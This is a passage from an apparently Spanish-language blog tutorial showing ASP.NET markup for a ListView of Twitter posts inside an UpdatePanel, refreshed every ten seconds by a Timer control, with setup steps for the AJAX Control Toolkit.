<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">LayoutTemplate</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">table</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">id</span><span style="color: blue;">=&#8221;table1&#8243;</span> <span style="color: red;">width</span><span style="color: blue;">=&#8221;350px&#8221;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">tr</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">id</span><span style="color: blue;">=&#8221;itemPlaceholder&#8221;&gt;&lt;/</span><span style="color: #a31515;">tr</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">table</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">LayoutTemplate</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">ItemTemplate</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">tr</span> <span style="color: red;">valign</span><span style="color: blue;">=&#8221;middle&#8221;</span> <span style="color: red;">style</span><span style="color: blue;">=&#8221;</span><span style="color: red;">border</span>: <span style="color: blue;">thin</span> <span style="color: blue;">solid</span> <span style="color: blue;">#FF9933&#8243;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">td</span> <span style="color: red;">id</span><span style="color: blue;">=&#8221;Td1&#8243;</span> <span style="color: red;">valign</span><span style="color: blue;">=&#8221;middle&#8221;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">strong</span><span style="color: blue;">&gt;&lt;</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Label</span> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;LblMensajeTwitter&#8221;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: red;">Text</span><span style="color: blue;">=&#8217;</span><span style="background: yellow; mso-highlight: yellow;">&lt;%</span>#Eval(&#8220;Text&#8221;)<span style="background: yellow; mso-highlight: yellow;">%&gt;</span><span style="color: blue;">&#8216;&gt;&lt;/</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Label</span><span style="color: blue;">&gt;&lt;/</span><span style="color: #a31515;">strong</span><span style="color: blue;">&gt;&lt;</span><span style="color: #a31515;">br</span> <span style="color: blue;">/&gt;</span> <o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Image</span> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;Image1&#8243;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">ImageUrl</span><span style="color: blue;">=&#8221;images/LOGO.png&#8221;</span> <span style="color: red;">Height</span><span style="color: blue;">=&#8221;20&#8243;</span> <span style="color: red;">Width</span><span style="color: blue;">=&#8221;40&#8243;</span> <span style="color: red;">AlternateText</span><span style="color: blue;">=&#8221;date&#8221;</span> <span style="color: blue;">/&gt;</span><span style="color: red;">&amp;nbsp;</span><span style="color: blue;">&lt;</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Label</span> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;LblFechaMensajeTwitter&#8221;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: red;">Text</span><span style="color: blue;">=&#8217;</span><span style="background: yellow; mso-highlight: yellow;">&lt;%</span>#Eval(&#8220;CreatedDate&#8221;)<span style="background: yellow; mso-highlight: yellow;">%&gt;</span><span style="color: blue;">&#8216;</span> <span style="color: red;">ForeColor</span><span style="color: blue;">=&#8221;#009933&#8243;&gt;&lt;/</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Label</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">td</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">tr</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">ItemTemplate</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">AlternatingItemTemplate</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">tr</span> <span style="color: red;">valign</span><span style="color: blue;">=&#8221;middle&#8221;</span> <span style="color: red;">style</span><span style="color: blue;">=&#8221;</span><span style="color: red;">border</span>: <span style="color: blue;">thin</span> <span style="color: blue;">solid</span> <span style="color: blue;">#FF9933</span>; <span style="color: red;">background-color</span>: <span style="color: blue;">#003366</span>; <span style="color: red;">color</span>: <span style="color: blue;">#FFFFFF</span>;<span style="color: blue;">&#8220;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">td</span> <span style="color: red;">id</span><span style="color: blue;">=&#8221;Td1&#8243;</span> <span style="color: red;">valign</span><span style="color: blue;">=&#8221;middle&#8221;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">strong</span><span style="color: blue;">&gt;&lt;</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Label</span> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;LblMensajeTwitter&#8221;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">Text</span><span style="color: blue;">=&#8217;</span><span style="background: yellow; mso-highlight: yellow;">&lt;%</span>#Eval(&#8220;Text&#8221;)<span style="background: yellow; mso-highlight: yellow;">%&gt;</span><span style="color: blue;">&#8216;&gt;&lt;/</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Label</span><span style="color: blue;">&gt;&lt;/</span><span style="color: #a31515;">strong</span><span style="color: blue;">&gt;&lt;</span><span style="color: #a31515;">br</span> <span style="color: blue;">/&gt;</span> <o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Image</span> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;Image1&#8243;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">ImageUrl</span><span style="color: blue;">=&#8221;images/LOGO.png&#8221;</span> <span style="color: red;">Height</span><span style="color: blue;">=&#8221;20&#8243;</span> <span style="color: red;">Width</span><span style="color: blue;">=&#8221;40&#8243;</span> <span style="color: red;">AlternateText</span><span style="color: blue;">=&#8221;date&#8221;</span> <span style="color: blue;">/&gt;</span><span style="color: red;">&amp;nbsp;</span><span style="color: blue;">&lt;</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Label</span> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;LblFechaMensajeTwitter&#8221;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: red;">Text</span><span style="color: blue;">=&#8217;</span><span style="background: yellow; mso-highlight: yellow;">&lt;%</span>#Eval(&#8220;CreatedDate&#8221;)<span style="background: yellow; mso-highlight: yellow;">%&gt;</span><span style="color: blue;">&#8216;</span> <span style="color: red;">ForeColor</span><span style="color: blue;">=&#8221;#009933&#8243;&gt;&lt;/</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Label</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">td</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">tr</span><span style="color: blue;">&gt;</span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">AlternatingItemTemplate</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><o :p>&nbsp;</o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">ListView</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">&lt;/</span><span style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes;">div</span><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">&gt;<o :p></o></span></p>
<p class="MsoNormal"><span style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">ContentTemplate</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">UpdatePanel</span><span style="color: blue;">&gt;</span></span><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p></o></span></p>
</div>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o></span></p>
<p class="MsoNormal"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o><span style="font-family: Calibri; font-size: small;">Veamos un poco el c&oacute;digo:</span></p>
<p class="MsoNormal"><span style="font-family: Calibri; font-size: small;">Englobamos todo en el UpdatePanel y encerramos el div en las etiquetas ContentTemplate.</span></p>
<p class="MsoNormal"><span style="font-family: Calibri; font-size: small;">Lo m&aacute;s interesante es que hemos a&ntilde;adido un control Timer:</span></p>
<div style="padding-bottom: 1pt; padding-left: 4pt; padding-right: 4pt; background: #ddd9c3; padding-top: 1pt; mso-element: para-border-div; mso-border-alt: dashed windowtext .5pt; mso-background-themecolor: background2; mso-background-themeshade: 230; border: windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">&lt;</span><span lang="EN-US" style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">asp</span><span lang="EN-US" style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">:</span><span lang="EN-US" style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">Timer</span><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">Interval</span><span style="color: blue;">=&#8221;10000&#8243;</span> <span style="color: red;">OnTick</span><span style="color: blue;">=&#8221;Timer1_Tick&#8221;</span> <span style="color: red;">id</span><span style="color: blue;">=&#8221;Timer1&#8243;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">&lt;/</span><span style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes;">asp</span><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">:</span><span style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes;">Timer</span><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">&gt;</span><span style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes;"> <o :p></o></span></p>
</div>
<p class="MsoNormal"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;q</span></o><span style="font-family: Calibri; font-size: small;">ue es el que va a controlar cada cuando vamos a refrescar este UpdatePanel.</span></p>
<p class="MsoNormal"><span style="font-family: Calibri; font-size: small;">Podemos actualizar mediante un Timer como este ejemplo o mediante el uso de Triggers. Que ejecutar&aacute;n una funci&oacute;n cuando se produzca un evento sobre un determinado control.</span></p>
<p class="MsoNormal"><span style="font-family: Calibri; font-size: small;">As&iacute;, ese Timer al que hemos puesto un intervalo de 10 segundos (10000) va a ejecutar el m&eacute;todo llamado Timer1_Tick que<span style="mso-spacerun: yes;">&nbsp; </span>hemos declarado al principio de la p&aacute;gina, dentro del HEAD:</span></p>
<div style="padding-bottom: 1pt; padding-left: 4pt; padding-right: 4pt; background: #ddd9c3; padding-top: 1pt; mso-element: para-border-div; mso-border-alt: dashed windowtext .5pt; mso-background-themecolor: background2; mso-background-themeshade: 230; border: windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">&lt;</span><span lang="EN-US" style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">script</span><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">type</span><span style="color: blue;">=&#8221;text/c#&#8221;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp; </span><span style="color: blue;">protected</span> <span style="color: blue;">void</span> Timer1_Tick(<span style="color: blue;">object</span> sender, <span style="color: #2b91af;">EventArgs</span> e)<o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes;">{<o :p></o></span></p>
<p class="MsoNormal"><span style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>GetTwitterPosts();<o :p></o></span></p>
<p class="MsoNormal"><span style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;</span></span><span style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes;">}<o :p></o></span></p>
<p class="MsoNormal"><span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">&lt;/</span><span style="line-height: 115%; font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes;">script</span><span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">&gt;<o :p></o></span></p>
</div>
<p class="MsoNormal"><span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;"><o :p>&nbsp;</o></span></p>
<p class="MsoNormal"><span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;"><o :p></o></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">De esta manera cada 10 segundos se actualizar&aacute; el ListView carg&aacute;ndose en este ejemplo con los estados del Twitter de mi cuenta.<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">Resumiendo:<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">1.- Agregar referencia al AjaxControlToolKit.<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">2.- A&ntilde;adir el ScriptManager antes de usar el control<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">3.- A&ntilde;adir el control y comprobar que se ha incluido la directiva al comienzo de la p&aacute;gina.<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">4.- Particularizar el control.<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">Podemos ver una explicaci&oacute;n y ejemplos de los diferentes controles Ajax del ToolKit en la URL:<o :p></o></span></span></span></p>
<p class="MsoNormal"><a href="http://www.asp.net/ajax/AjaxControlToolkit/Samples/"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-family: Calibri; font-size: small;">http://www.asp.net/ajax/AjaxControlToolkit/Samples/</span></span></a><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p></o></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">Espero que os haya sido de utilidad.<o :p></o></span></span></span></p>
<p>&nbsp;</p>
